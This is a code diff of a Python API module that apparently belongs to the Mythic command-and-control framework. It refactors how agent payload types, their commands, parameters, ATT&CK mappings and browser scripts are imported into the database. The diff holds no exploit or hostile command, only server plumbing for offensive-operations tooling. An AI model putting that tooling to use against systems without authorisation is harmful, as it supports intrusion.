- payloadtype = await db_objects.get(query, id=ptype)
+ payloadtype = await app.db_objects.get(db_model.payloadtype_query, id=ptype)
except Exception as e:
- print(e)
+ logger.warning("payloadtype_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return json({"status": "error", "error": "failed to get payload type"})
- query = await db_model.command_query()
- commands = await db_objects.execute(
- query.where(
+ commands = await app.db_objects.execute(
+ db_model.command_query.where(
(Command.payload_type == payloadtype) & (Command.deleted == False)
).order_by(Command.cmd)
)
all_commands = []
for cmd in commands:
- query = await db_model.commandparameters_query()
- params = await db_objects.execute(query.where(CommandParameters.command == cmd))
+ params = await app.db_objects.execute(db_model.commandparameters_query.where(CommandParameters.command == cmd))
all_commands.append({**cmd.to_json(), "params": [p.to_json() for p in params]})
status = {"status": "success"}
return json({**status, "commands": all_commands})
-@mythic.route(
- mythic.config["API_BASE"] + "/payloadtypes//files/sync", methods=["GET"]
-)
-@inject_user()
-@scoped(
- ["auth:user", "auth:apitoken_user"], False
-) # user or user-level api token are ok
-async def sync_container_file_for_payload_type(request, ptype, user):
- if user["auth"] not in ["access_token", "apitoken"]:
- abort(
- status_code=403,
- message="Cannot access via Cookies. Use CLI or access via JS in browser",
- )
- try:
- if user["view_mode"] == "spectator":
- return json({"status": "error", "error": "Spectators cannot sync files"})
- query = await db_model.payloadtype_query()
- payload_type = await db_objects.get(query, id=ptype)
- except Exception as e:
- print(e)
- return json({"status": "error", "error": "failed to find C2 Profile"})
- try:
- status = await send_pt_rabbitmq_message(
- payload_type.ptype, "sync_classes", "", user["username"]
- )
- return json(status)
- except Exception as e:
- return json({"status": "error", "error": "failed finding the file: " + str(e)})
-
-
async def import_payload_type_func(ptype, operator):
new_payload = False
try:
- #print(ptype)
+ # print(ptype)
if "author" not in ptype:
ptype["author"] = operator.username if operator is not None else ""
if "note" not in ptype:
ptype["note"] = ""
if "ptype" not in ptype or ptype["ptype"] == "":
return {"status": "error", "error": "payload type must not be empty"}
- ptquery = await db_model.payloadtype_query()
- build_param_query = await db_model.buildparameter_query()
+ if "mythic_encrypts" not in ptype or ptype["mythic_encrypts"] is None or ptype["mythic_encrypts"] == "":
+ ptype["mythic_encrypts"] = True
+ if "translation_container" in ptype and ptype["translation_container"] is not None:
+ try:
+ translation_container = await app.db_objects.get(db_model.translationcontainer_query,
+ name=ptype["translation_container"],
+ deleted=False)
+ ptype["translation_container"] = translation_container
+ except Exception as t:
+ logger.warning("payloadtype_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(t))
+ ptype["translation_container"] = None
+ else:
+ ptype["translation_container"] = None
try:
- payload_type = await db_objects.prefetch(ptquery.where(db_model.PayloadType.ptype == ptype["ptype"]), build_param_query)
+ payload_type = await app.db_objects.prefetch(
+ db_model.payloadtype_query.where(db_model.PayloadType.ptype == ptype["ptype"]),
+ db_model.buildparameter_query)
payload_type = payload_type[0]
payload_type.wrapper = ptype["wrapper"]
payload_type.supported_os = ptype["supported_os"]
@@ -267,9 +239,13 @@ async def import_payload_type_func(ptype, operator):
payload_type.supports_dynamic_loading = ptype[
"supports_dynamic_loading"
]
+ payload_type.mythic_encrypts = ptype["mythic_encrypts"]
+
+ payload_type.translation_container = ptype[
+ "translation_container"] if "translation_container" in ptype else None
except Exception as e:
new_payload = True
- payload_type = await db_objects.create(
+ payload_type = await app.db_objects.create(
PayloadType,
ptype=ptype["ptype"],
wrapper=ptype["wrapper"],
@@ -278,13 +254,14 @@ async def import_payload_type_func(ptype, operator):
author=ptype["author"],
note=ptype["note"],
supports_dynamic_loading=ptype["supports_dynamic_loading"],
+ mythic_encrypts=ptype["mythic_encrypts"],
+ translation_container=ptype["translation_container"] if "translation_container" in ptype else None
)
if not ptype["wrapper"]:
# now deal with all of the wrapped payloads mentioned
- wrapper_query = await db_model.wrappedpayloadtypes_query()
# get the list of wrapper combinations associated with the current payload type
- current_wrapped = await db_objects.execute(
- wrapper_query.where(
+ current_wrapped = await app.db_objects.execute(
+ db_model.wrappedpayloadtypes_query.where(
db_model.WrappedPayloadTypes.wrapped == payload_type
)
)
@@ -299,27 +276,26 @@ async def import_payload_type_func(ptype, operator):
break
# if we get here, then there was a wrapping that's not supported anymore
if not found:
- await db_objects.delete(cw)
+ await app.db_objects.delete(cw)
# if there's anything left in ptype['wrapped'], then we need to try to add them
for ptw in ptype["wrapped"]:
try:
- wrapped = await db_objects.get(ptquery, ptype=ptw)
- await db_objects.create(
+ wrapped = await app.db_objects.get(db_model.payloadtype_query, ptype=ptw)
+ await app.db_objects.create(
db_model.WrappedPayloadTypes,
wrapper=wrapped,
wrapped=payload_type,
)
except Exception as e:
- print(e)
+ logger.warning("payloadtype_api.py - couldn't find wrapped payload in system, skipping: " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
pass
try:
payload_type.creation_time = datetime.datetime.utcnow()
- await db_objects.update(payload_type)
+ await app.db_objects.update(payload_type)
# create any TransformCode entries as needed,just keep track of them
if "build_parameters" in ptype:
- query = await db_model.buildparameter_query()
- current_params = await db_objects.execute(
- query.where(
+ current_params = await app.db_objects.execute(
+ db_model.buildparameter_query.where(
(db_model.BuildParameter.payload_type == payload_type)
& (db_model.BuildParameter.deleted == False)
)
@@ -329,8 +305,8 @@ async def import_payload_type_func(ptype, operator):
if bp["name"] == "":
continue
try:
- buildparam = await db_objects.get(
- query,
+ buildparam = await app.db_objects.get(
+ db_model.buildparameter_query,
payload_type=payload_type,
name=bp["name"],
deleted=False,
@@ -340,10 +316,10 @@ async def import_payload_type_func(ptype, operator):
buildparam.required = bp["required"]
buildparam.verifier_regex = bp["verifier_regex"]
buildparam.parameter = bp["parameter"]
- await db_objects.update(buildparam)
+ await app.db_objects.update(buildparam)
build_param_dict.pop(bp["name"], None)
except Exception as e:
- await db_objects.create(
+ await app.db_objects.create(
db_model.BuildParameter,
payload_type=payload_type,
name=bp["name"],
@@ -355,36 +331,40 @@ async def import_payload_type_func(ptype, operator):
)
for k, v in build_param_dict.items():
v.deleted = True
- await db_objects.update(v)
+ await app.db_objects.update(v)
# go through support scripts and add as necessary
# first find all that currently exist
- browserscriptquery = await db_model.browserscript_query()
- operator_query = await db_model.operator_query()
- support_scripts_db = await db_objects.execute(browserscriptquery.where(
+ support_scripts_db = await app.db_objects.execute(db_model.browserscript_query.where(
(db_model.BrowserScript.payload_type == payload_type) &
(db_model.BrowserScript.command == None) &
(db_model.BrowserScript.operator == None)
))
- support_scripts = {s.name: s for s in support_scripts_db}
+ support_scripts = {}
+ for s in support_scripts_db:
+ name = s.name + str(s.for_new_ui)
+ support_scripts[name] = s
if "support_scripts" in ptype:
for support_script in ptype["support_scripts"]:
- support_scripts.pop(support_script["name"], None)
+ if "for_new_ui" not in support_script:
+ support_script["for_new_ui"] = False
+ support_scripts.pop(support_script["name"] + str(support_script["for_new_ui"]), None)
try:
# first update the base case,then loop through operators
- script = await db_objects.get(
- browserscriptquery,
+ script = await app.db_objects.get(
+ db_model.browserscript_query,
name=support_script["name"],
payload_type=payload_type,
command=None,
operator=None,
+ for_new_ui=support_script["for_new_ui"]
)
script.container_version = support_script["script"]
script.script = support_script["script"]
script.container_version_author = support_script["author"]
script.author = support_script["author"]
- await db_objects.update(script)
+ await app.db_objects.update(script)
except Exception as e:
- await db_objects.create(
+ await app.db_objects.create(
db_model.BrowserScript,
name=support_script["name"],
script=support_script["script"],
@@ -393,30 +373,32 @@ async def import_payload_type_func(ptype, operator):
author=support_script["author"],
container_version_author=support_script["author"],
command=None,
- operator=None
+ operator=None,
+ for_new_ui=support_script["for_new_ui"]
)
# now loop through all users
- operators = await db_objects.execute(
- operator_query.where(db_model.Operator.deleted == False)
+ operators = await app.db_objects.execute(
+ db_model.operator_query.where(db_model.Operator.deleted == False)
)
for op in operators:
try:
# first update the base case,then loop through operators
- script = await db_objects.get(
- browserscriptquery,
+ script = await app.db_objects.get(
+ db_model.browserscript_query,
name=support_script["name"],
payload_type=payload_type,
operator=op,
- command=None
+ command=None,
+ for_new_ui=support_script["for_new_ui"]
)
script.container_version = support_script["script"]
script.container_version_author = support_script["author"]
if not script.user_modified:
script.script = support_script["script"]
script.author = support_script["author"]
- await db_objects.update(script)
+ await app.db_objects.update(script)
except Exception as e:
- await db_objects.create(
+ await app.db_objects.create(
db_model.BrowserScript,
name=support_script["name"],
script=support_script["script"],
@@ -425,65 +407,66 @@ async def import_payload_type_func(ptype, operator):
payload_type=payload_type,
author=support_script["author"],
container_version_author=support_script["author"],
- command=None
+ command=None,
+ for_new_ui=support_script["for_new_ui"]
)
# if there's anything left in support_scripts, we need to delete them
- for k,v in support_scripts.items():
- operators = await db_objects.execute(
- operator_query.where(db_model.Operator.deleted == False)
+ for k, v in support_scripts.items():
+ operators = await app.db_objects.execute(
+ db_model.operator_query.where(db_model.Operator.deleted == False)
)
for op in operators:
try:
# first update the base case,then loop through operators
- script = await db_objects.get(
- browserscriptquery,
+ script = await app.db_objects.get(
+ db_model.browserscript_query,
name=v.name,
payload_type=payload_type,
operator=op,
- command=None
+ command=None,
+ for_new_ui=v.for_new_ui
)
- await db_objects.delete(script)
+ await app.db_objects.delete(script)
except Exception as e:
pass
- await db_objects.delete(v)
+ await app.db_objects.delete(v)
# now that we have the payload type, start processing the commands and their parts
await import_command_func(payload_type, operator, ptype["commands"])
if "c2_profiles" in ptype:
- query = await db_model.payloadtypec2profile_query()
- current_c2 = await db_objects.execute(
- query.where(
+ current_c2 = await app.db_objects.execute(
+ db_model.payloadtypec2profile_query.where(
db_model.PayloadTypeC2Profile.payload_type == payload_type
)
)
current_c2_dict = {c.c2_profile.name: c for c in current_c2}
for c2_profile_name in ptype["c2_profiles"]:
try:
- c2query = await db_model.c2profile_query()
- c2_profile = await db_objects.get(c2query, name=c2_profile_name)
+ c2_profile = await app.db_objects.get(db_model.c2profile_query, name=c2_profile_name)
try:
- await db_objects.get(
- query, payload_type=payload_type, c2_profile=c2_profile
+ await app.db_objects.get(
+ db_model.payloadtypec2profile_query, payload_type=payload_type, c2_profile=c2_profile
)
current_c2_dict.pop(c2_profile.name, None)
except Exception as e:
# it doesn't exist, so we create it
- await db_objects.create(
+ await app.db_objects.create(
PayloadTypeC2Profile,
payload_type=payload_type,
c2_profile=c2_profile,
)
except Exception as e:
- #print("Failed to associated c2 profile with payload type")
+ # print("Failed to associated c2 profile with payload type")
continue # just try to get the next c2_profile
# delete any mappings that used to exist but are no longer listed by the agent
for k, v in current_c2_dict.items():
- await db_objects.delete(v)
- payload_type = await db_objects.prefetch(ptquery.where(db_model.PayloadType.ptype == ptype["ptype"]),
- build_param_query)
+ await app.db_objects.delete(v)
+ payload_type = await app.db_objects.prefetch(
+ db_model.payloadtype_query.where(db_model.PayloadType.ptype == ptype["ptype"]),
+ db_model.buildparameter_query)
payload_type = payload_type[0]
return {"status": "success", "new": new_payload, **payload_type.to_json()}
except Exception as e:
- logger.exception("exception on importing payload type")
+ logger.exception("exception on importing payload type {}".format(payload_type.ptype))
return {"status": "error", "error": str(e)}
except Exception as e:
logger.exception("failed to import a payload type: " + str(e))
@@ -491,9 +474,8 @@ async def import_payload_type_func(ptype, operator):
async def import_command_func(payload_type, operator, command_list):
- query = await db_model.command_query()
- current_commands = await db_objects.execute(
- query.where(
+ current_commands = await app.db_objects.execute(
+ db_model.command_query.where(
(db_model.Command.payload_type == payload_type)
& (db_model.Command.deleted == False)
)
@@ -502,399 +484,233 @@ async def import_command_func(payload_type, operator, command_list):
# if this command is in command_list,then we just update it
if command.cmd in command_list:
cmd = command_list[command.cmd]
- if "is_exit" not in cmd:
- cmd["is_exit"] = False
- elif cmd["is_exit"] is True:
- # this is trying to say it is the exit command for this payload type
- # there can only be one for a given payload type though, so check. if one exists, change it
- query = await db_model.command_query()
- try:
- exit_command = await db_objects.get(
- query.where(
- (Command.is_exit == True)
- & (Command.payload_type == payload_type)
- & (Command.deleted == False)
- )
- )
- # one is already set, so set it to false
- exit_command.is_exit = False
- await db_objects.update(exit_command)
- except Exception as e:
- # one doesn't exist, so let this one be set
- pass
- if "is_process_list" not in cmd:
- cmd["is_process_list"] = False
- elif cmd["is_process_list"] is True:
- query = await db_model.command_query()
- try:
- pl_command = await db_objects.get(
- query.where(
- (Command.is_process_list == True)
- & (Command.payload_type == payload_type)
- & (Command.deleted == False)
- )
- )
- # one is already set, so set it to false
- pl_command.is_process_list = False
- await db_objects.update(pl_command)
- except Exception as e:
- # one doesn't exist, so let this one be set
- pass
- if "is_file_browse" not in cmd:
- cmd["is_file_browse"] = False
- elif cmd["is_file_browse"] is True:
- query = await db_model.command_query()
- try:
- fb_command = await db_objects.get(
- query.where(
- (Command.is_file_browse == True)
- & (Command.payload_type == payload_type)
- & (Command.deleted == False)
- )
- )
- # one is already set, so set it to false
- fb_command.is_file_browse = False
- await db_objects.update(fb_command)
- except Exception as e:
- # one doesn't exist, so let this one be set
- pass
- if "is_download_file" not in cmd:
- cmd["is_download_file"] = False
- elif cmd["is_download_file"] is True:
- query = await db_model.command_query()
- try:
- df_command = await db_objects.get(
- query.where(
- (Command.is_download_file == True)
- & (Command.payload_type == payload_type)
- & (Command.deleted == False)
- )
- )
- # one is already set, so set it to false
- df_command.is_download_file = False
- await db_objects.update(df_command)
- except Exception as e:
- # one doesn't exist, so let this one be set
- pass
- if "is_remove_file" not in cmd:
- cmd["is_remove_file"] = False
- elif cmd["is_remove_file"] is True:
- query = await db_model.command_query()
- try:
- rf_command = await db_objects.get(
- query.where(
- (Command.is_remove_file == True)
- & (Command.payload_type == payload_type)
- & (Command.deleted == False)
- )
- )
- # one is already set, so set it to false
- rf_command.is_remove_file = False
- await db_objects.update(rf_command)
- except Exception as e:
- # one doesn't exist, so let this one be set
- pass
- if "is_upload_file" not in cmd:
- cmd["is_upload_file"] = False
- elif cmd["is_upload_file"] is True:
- query = await db_model.command_query()
- try:
- rf_command = await db_objects.get(
- query.where(
- (Command.is_upload_file == True)
- & (Command.payload_type == payload_type)
- & (Command.deleted == False)
- )
- )
- # one is already set, so set it to false
- rf_command.is_upload_file = False
- await db_objects.update(rf_command)
- except Exception as e:
- # one doesn't exist, so let this one be set
- pass
command.description = cmd["description"]
command.needs_admin = cmd["needs_admin"]
command.version = cmd["version"]
command.help_cmd = cmd["help_cmd"]
- command.is_exit = cmd["is_exit"]
- command.is_process_list = cmd["is_process_list"]
- command.is_file_browse = cmd["is_file_browse"]
- command.is_download_file = cmd["is_download_file"]
- command.is_remove_file = cmd["is_remove_file"]
- command.is_upload_file = cmd["is_upload_file"]
+ command.supported_ui_features = "\n".join(cmd["supported_ui_features"])
command.author = cmd["author"]
- await db_objects.update(command)
- query = await db_model.commandparameters_query()
- current_params = await db_objects.execute(
- query.where((db_model.CommandParameters.command == command))
+ command.attributes = js.dumps(cmd["attributes"])
+ command.script_only = cmd["script_only"]
+ await add_update_opsec_for_command(command, cmd)
+ await app.db_objects.update(command)
+
+ current_params = await app.db_objects.execute(
+ db_model.commandparameters_query.where((db_model.CommandParameters.command == command))
)
current_param_dict = {c.name: c for c in current_params}
for param in cmd["parameters"]:
try:
- query = await db_model.commandparameters_query()
- cmd_param = await db_objects.get(
- query, command=command, name=param["name"]
+ cmd_param = await app.db_objects.get(
+ db_model.commandparameters_query, command=command, name=param["name"]
)
cmd_param.type = param["type"]
+ if param["ui_position"] is not None:
+ cmd_param.ui_position = param["ui_position"]
+ else:
+ # we will need to assign a number later
+ cmd_param.ui_position = 999999
if "default_value" in param and param["default_value"] is not None:
if cmd_param.type == "Array":
cmd_param.default_value = js.dumps(param["default_value"])
else:
cmd_param.default_value = param["default_value"]
if (
- "supported_agents" in param
- and param["supported_agents"] is not None
+ "supported_agents" in param
+ and param["supported_agents"] is not None
):
cmd_param.supported_agents = param["supported_agents"]
+ cmd_param.supported_agent_build_parameters = js.dumps(param["supported_agent_build_parameters"])
cmd_param.description = param["description"]
cmd_param.choices = param["choices"]
cmd_param.required = param["required"]
- await db_objects.update(cmd_param)
+ cmd_param.choice_filter_by_command_attributes = js.dumps(
+ param["choice_filter_by_command_attributes"])
+ cmd_param.choices_are_all_commands = param["choices_are_all_commands"]
+ cmd_param.choices_are_loaded_commands = param["choices_are_loaded_commands"]
+ cmd_param.dynamic_query_function = param["dynamic_query_function"] if "dynamic_query_function" in param else None
+ await app.db_objects.update(cmd_param)
current_param_dict.pop(param["name"], None)
except: # param doesn't exist yet, so create it
if "default_value" not in param or param["default_value"] is None:
param["default_value"] = ""
elif param["type"] == "Array":
param["default_value"] = js.dumps(param["default_value"])
- await db_objects.create(CommandParameters, command=command, **param)
+ if param["ui_position"] is None:
+ param["ui_position"] = 999999
+ param["supported_agent_build_parameters"] = js.dumps(param["supported_agent_build_parameters"])
+ await app.db_objects.create(CommandParameters, command=command, **param)
for k, v in current_param_dict.items():
- await db_objects.delete(v)
+ await app.db_objects.delete(v)
+ # now go back and make sure all of the ui_position values match up and have proper, non -1, values
+ current_params = await app.db_objects.execute(
+ db_model.commandparameters_query.where((db_model.CommandParameters.command == command)).order_by(
+ db_model.CommandParameters.ui_position)
+ )
+ position = 1
+ for x in current_params:
+ if x.ui_position != position:
+ x.ui_position = position
+ await app.db_objects.update(x)
+ position += 1
# now to process the att&cks
for attack in cmd["attack"]:
- query = await db_model.attack_query()
- attck = await db_objects.get(query, t_num=attack["t_num"])
- query = await db_model.attackcommand_query()
try:
- await db_objects.get(query, command=command, attack=attck)
- except Exception as e:
- # we got here so it doesn't exist, so create it and move on
- await db_objects.create(
- ATTACKCommand, command=command, attack=attck
- )
- # now process the command file
- browserscriptquery = await db_model.browserscript_query()
- found_script = False
+ attck = await app.db_objects.get(db_model.attack_query, t_num=attack["t_num"])
+ try:
+ await app.db_objects.get(db_model.attackcommand_query, command=command, attack=attck)
+ except Exception as e:
+ # we got here so it doesn't exist, so create it and move on
+ await app.db_objects.create(
+ ATTACKCommand, command=command, attack=attck
+ )
+ except Exception as attack_e:
+ from app.api.operation_api import send_all_operations_message
+ asyncio.create_task(send_all_operations_message(
+ message=f"Failed to find ATT&CK number {attack['t_num']} for {command.cmd} in {command.payload_type.ptype}",
+ level="warning"
+ ))
+ current_scripts = {}
try:
# first try to find if one exists currently
- script = await db_objects.get(
- browserscriptquery,
- payload_type=payload_type,
- operator=None,
- command=command,
+ mythic_current_scripts = await app.db_objects.execute(
+ db_model.browserscript_query.where(
+ (db_model.BrowserScript.payload_type == payload_type)
+ & (db_model.BrowserScript.operator == None)
+ & (db_model.BrowserScript.command == command)
+ )
)
- found_script = True
+ for s in mythic_current_scripts:
+ if s.for_new_ui:
+ if "new" in current_scripts:
+ await app.db_objects.delete(current_scripts["new"])
+ current_scripts["new"] = s
+ else:
+ if "old" in current_scripts:
+ await app.db_objects.delete(current_scripts["old"])
+ current_scripts["old"] = s
except Exception as e:
- script = None
- # get the current script if one exists
- if "browser_script" in cmd:
- # this means we have one to add or update
- if found_script:
- script.container_version = cmd["browser_script"]["script"]
- script.script = cmd["browser_script"]["script"]
- script.container_version_author = cmd["browser_script"]["author"]
- script.author = cmd["browser_script"]["author"]
- await db_objects.update(script)
+ logger.warning("payloadtype_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ current_scripts = {}
+ for sync_script in cmd["browser_script"]:
+ if sync_script["for_new_ui"]:
+ if "new" in current_scripts:
+ # we want to update a current script for the new ui
+ current_scripts["new"].container_version = sync_script["script"]
+ current_scripts["new"].script = sync_script["script"]
+ current_scripts["new"].container_version_author = sync_script["author"]
+ current_scripts["new"].author = sync_script["author"]
+ await app.db_objects.update(current_scripts["new"])
+ script = current_scripts["new"]
+ else:
+ # we want to create a new script for the new ui
+ script = await app.db_objects.create(
+ db_model.BrowserScript,
+ script=sync_script["script"],
+ container_version=sync_script["script"],
+ payload_type=payload_type,
+ command=command,
+ author=sync_script["author"],
+ container_version_author=sync_script["author"],
+ for_new_ui=True
+ )
else:
- script = await db_objects.create(
- db_model.BrowserScript,
- script=cmd["browser_script"]["script"],
- container_version=cmd["browser_script"]["script"],
- payload_type=payload_type,
- command=command,
- author=cmd["browser_script"]["author"],
- container_version_author=cmd["browser_script"]["author"],
- )
+ # this is for the old ui
+ if "old" in current_scripts:
+ current_scripts["old"].container_version = sync_script["script"]
+ current_scripts["old"].script = sync_script["script"]
+ current_scripts["old"].container_version_author = sync_script["author"]
+ current_scripts["old"].author = sync_script["author"]
+ await app.db_objects.update(current_scripts["old"])
+ script = current_scripts["old"]
+ else:
+ # we want to create a new script for the new ui
+ script = await app.db_objects.create(
+ db_model.BrowserScript,
+ script=sync_script["script"],
+ container_version=sync_script["script"],
+ payload_type=payload_type,
+ command=command,
+ author=sync_script["author"],
+ container_version_author=sync_script["author"],
+ for_new_ui=False
+ )
# now loop through all users
- operator_query = await db_model.operator_query()
- operators = await db_objects.execute(
- operator_query.where(db_model.Operator.deleted == False)
+ operators = await app.db_objects.execute(
+ db_model.operator_query.where(db_model.Operator.deleted == False)
)
for op in operators:
try:
# first update the base case,then loop through operators
- script = await db_objects.get(
- browserscriptquery,
+ op_script = await app.db_objects.get(
+ db_model.browserscript_query,
payload_type=payload_type,
operator=op,
command=command,
+ for_new_ui=script.for_new_ui
)
- script.container_version = cmd["browser_script"]["script"]
- script.container_version_author = cmd["browser_script"][
- "author"
- ]
- if not script.user_modified:
- script.script = cmd["browser_script"]["script"]
- script.author = cmd["browser_script"]["author"]
- await db_objects.update(script)
+ op_script.container_version = sync_script["script"]
+ op_script.container_version_author = sync_script["author"]
+ if not op_script.user_modified:
+ op_script.script = sync_script["script"]
+ op_script.author = sync_script["author"]
+ await app.db_objects.update(op_script)
except Exception as e:
- await db_objects.create(
+ await app.db_objects.create(
db_model.BrowserScript,
- script=cmd["browser_script"]["script"],
- container_version=cmd["browser_script"]["script"],
+ script=sync_script["script"],
+ container_version=sync_script["script"],
operator=op,
payload_type=payload_type,
command=command,
- author=cmd["browser_script"]["author"],
- container_version_author=cmd["browser_script"]["author"],
+ author=sync_script["author"],
+ container_version_author=sync_script["author"],
+ for_new_ui=sync_script["for_new_ui"]
)
- else:
- if found_script:
- # this means we need to get rid of the browser script
- # now loop through all users
- operator_query = await db_model.operator_query()
- operators = await db_objects.execute(
- operator_query.where(db_model.Operator.deleted == False)
+ # now remove it from tracking so we know if we need to delete a script
+ if sync_script["for_new_ui"]:
+ current_scripts.pop("new", None)
+ else:
+ current_scripts.pop("old", None)
+ for k, v in current_scripts.items():
+ # this means we need to get rid of the browser script
+ # now loop through all users
+ op_script = await app.db_objects.execute(
+ db_model.browserscript_query.where(
+ (db_model.BrowserScript.payload_type == payload_type)
+ & (db_model.BrowserScript.command == command)
+ & (db_model.BrowserScript.for_new_ui == v.for_new_ui)
)
- for op in operators:
- try:
- # first update the base case,then loop through operators
- op_script = await db_objects.get(
- browserscriptquery,
- payload_type=payload_type,
- operator=op,
- command=command,
- )
- await db_objects.delete(op_script)
- except Exception as e:
- pass
- await db_objects.delete(script)
+ )
+ for op in op_script:
+ try:
+ await app.db_objects.delete(op)
+ except Exception as e:
+ pass
command_list.pop(command.cmd, None)
else:
# we need to mark the command as deleted
command.cmd = str(shortuuid.uuid()) + "-" + command.cmd
command.deleted = True
- await db_objects.update(command)
+ await app.db_objects.update(command)
# everything left in command_list should be new
for cmd_name, cmd in command_list.items():
- if "is_exit" not in cmd:
- cmd["is_exit"] = False
- elif cmd["is_exit"] is True:
- # this is trying to say it is the exit command for this payload type
- # there can only be one for a given payload type though, so check. if one exists, change it
- query = await db_model.command_query()
- try:
- exit_command = await db_objects.get(
- query.where(
- (Command.is_exit == True)
- & (Command.payload_type == payload_type)
- & (Command.deleted == False)
- )
- )
- # one is already set, so set it to false
- exit_command.is_exit = False
- await db_objects.update(exit_command)
- except Exception as e:
- # one doesn't exist, so let this one be set
- pass
- if "is_process_list" not in cmd:
- cmd["is_process_list"] = False
- elif cmd["is_process_list"] is True:
- query = await db_model.command_query()
- try:
- pl_command = await db_objects.get(
- query.where(
- (Command.is_process_list == True)
- & (Command.payload_type == payload_type)
- & (Command.deleted == False)
- )
- )
- # one is already set, so set it to false
- pl_command.is_process_list = False
- await db_objects.update(pl_command)
- except Exception as e:
- # one doesn't exist, so let this one be set
- pass
- if "is_file_browse" not in cmd:
- cmd["is_file_browse"] = False
- elif cmd["is_file_browse"] is True:
- query = await db_model.command_query()
- try:
- fb_command = await db_objects.get(
- query.where(
- (Command.is_file_browse == True)
- & (Command.payload_type == payload_type)
- & (Command.deleted == False)
- )
- )
- # one is already set, so set it to false
- fb_command.is_file_browse = False
- await db_objects.update(fb_command)
- except Exception as e:
- # one doesn't exist, so let this one be set
- pass
- if "is_download_file" not in cmd:
- cmd["is_download_file"] = False
- elif cmd["is_download_file"] is True:
- query = await db_model.command_query()
- try:
- df_command = await db_objects.get(
- query.where(
- (Command.is_download_file == True)
- & (Command.payload_type == payload_type)
- & (Command.deleted == False)
- )
- )
- # one is already set, so set it to false
- df_command.is_download_file = False
- await db_objects.update(df_command)
- except Exception as e:
- # one doesn't exist, so let this one be set
- pass
- if "is_remove_file" not in cmd:
- cmd["is_remove_file"] = False
- elif cmd["is_remove_file"] is True:
- query = await db_model.command_query()
- try:
- rf_command = await db_objects.get(
- query.where(
- (Command.is_remove_file == True)
- & (Command.payload_type == payload_type)
- & (Command.deleted == False)
- )
- )
- # one is already set, so set it to false
- rf_command.is_remove_file = False
- await db_objects.update(rf_command)
- except Exception as e:
- # one doesn't exist, so let this one be set
- pass
- if "is_upload_file" not in cmd:
- cmd["is_upload_file"] = False
- elif cmd["is_upload_file"] is True:
- query = await db_model.command_query()
- try:
- rf_command = await db_objects.get(
- query.where(
- (Command.is_upload_file == True)
- & (Command.payload_type == payload_type)
- & (Command.deleted == False)
- )
- )
- # one is already set, so set it to false
- rf_command.is_upload_file = False
- await db_objects.update(rf_command)
- except Exception as e:
- # one doesn't exist, so let this one be set
- pass
try:
- query = await db_model.command_query()
- command = await db_objects.get(
- query, cmd=cmd["cmd"], payload_type=payload_type
+ command = await app.db_objects.get(
+ db_model.command_query, cmd=cmd["cmd"], payload_type=payload_type
)
command.description = cmd["description"]
command.needs_admin = cmd["needs_admin"]
command.version = cmd["version"]
command.help_cmd = cmd["help_cmd"]
- command.is_exit = cmd["is_exit"]
- command.is_process_list = cmd["is_process_list"]
- command.is_file_browse = cmd["is_file_browse"]
- command.is_download_file = cmd["is_download_file"]
- command.is_remove_file = cmd["is_remove_file"]
- command.is_upload_file = cmd["is_upload_file"]
+ command.supported_ui_features = "\n".join(cmd["supported_ui_features"])
command.author = cmd["author"]
- await db_objects.update(command)
+ command.script_only = cmd["script_only"]
+ command.attributes = js.dumps(cmd["attributes"])
+ await add_update_opsec_for_command(command, cmd)
+ await app.db_objects.update(command)
except Exception as e: # this means that the command doesn't already exist
- command = await db_objects.create(
+ command = await app.db_objects.create(
Command,
cmd=cmd["cmd"],
payload_type=payload_type,
@@ -902,25 +718,22 @@ async def import_command_func(payload_type, operator, command_list):
version=cmd["version"],
needs_admin=cmd["needs_admin"],
help_cmd=cmd["help_cmd"],
- is_exit=cmd["is_exit"],
- is_process_list=cmd["is_process_list"],
- is_file_browse=cmd["is_file_browse"],
- is_download_file=cmd["is_download_file"],
- is_remove_file=cmd["is_remove_file"],
- is_upload_file=cmd["is_upload_file"],
+ supported_ui_features="\n".join(cmd["supported_ui_features"]),
author=cmd["author"],
+ script_only=cmd["script_only"],
+ attributes=js.dumps(cmd["attributes"])
)
+ await add_update_opsec_for_command(command, cmd)
+ await app.db_objects.update(command)
# now to process the parameters
- query = await db_model.commandparameters_query()
- current_params = await db_objects.execute(
- query.where((db_model.CommandParameters.command == command))
+ current_params = await app.db_objects.execute(
+ db_model.commandparameters_query.where((db_model.CommandParameters.command == command))
)
current_param_dict = {c.name: c for c in current_params}
for param in cmd["parameters"]:
try:
- query = await db_model.commandparameters_query()
- cmd_param = await db_objects.get(
- query, command=command, name=param["name"]
+ cmd_param = await app.db_objects.get(
+ db_model.commandparameters_query, command=command, name=param["name"]
)
cmd_param.type = param["type"]
if "default_value" in param and param["default_value"] is not None:
@@ -929,88 +742,105 @@ async def import_command_func(payload_type, operator, command_list):
else:
cmd_param.default_value = param["default_value"]
if (
- "supported_agents" in param
- and param["supported_agents"] is not None
+ "supported_agents" in param
+ and param["supported_agents"] is not None
):
cmd_param.supported_agents = param["supported_agents"]
cmd_param.description = param["description"]
cmd_param.choices = param["choices"]
cmd_param.required = param["required"]
- await db_objects.update(cmd_param)
+ cmd_param.supported_agent_build_parameters = js.dumps(param["supported_agent_build_parameters"])
+ cmd_param.choice_filter_by_command_attributes = js.dumps(param["choice_filter_by_command_attributes"])
+ cmd_param.choices_are_all_commands = param["choices_are_all_commands"]
+ cmd_param.choices_are_loaded_commands = param["choices_are_loaded_commands"]
+ cmd_param.dynamic_query_function = param["dynamic_query_function"] if "dynamic_query_function" in param else None
+ await app.db_objects.update(cmd_param)
current_param_dict.pop(param["name"], None)
except: # param doesn't exist yet, so create it
if "default_value" not in param or param["default_value"] is None:
param["default_value"] = ""
elif param["type"] == "Array":
param["default_value"] = js.dumps(param["default_value"])
- await db_objects.create(CommandParameters, command=command, **param)
+ if param["ui_position"] is None:
+ param["ui_position"] = 999999
+ param["choice_filter_by_command_attributes"] = js.dumps(param["choice_filter_by_command_attributes"])
+ param["supported_agent_build_parameters"] = js.dumps(param["supported_agent_build_parameters"])
+ await app.db_objects.create(CommandParameters, command=command, **param)
for k, v in current_param_dict.items():
- await db_objects.delete(v)
+ await app.db_objects.delete(v)
+ # now go back and make sure all of the ui_position values match up and have proper, non -1, values
+ current_params = await app.db_objects.execute(
+ db_model.commandparameters_query.where((db_model.CommandParameters.command == command)).order_by(
+ db_model.CommandParameters.ui_position)
+ )
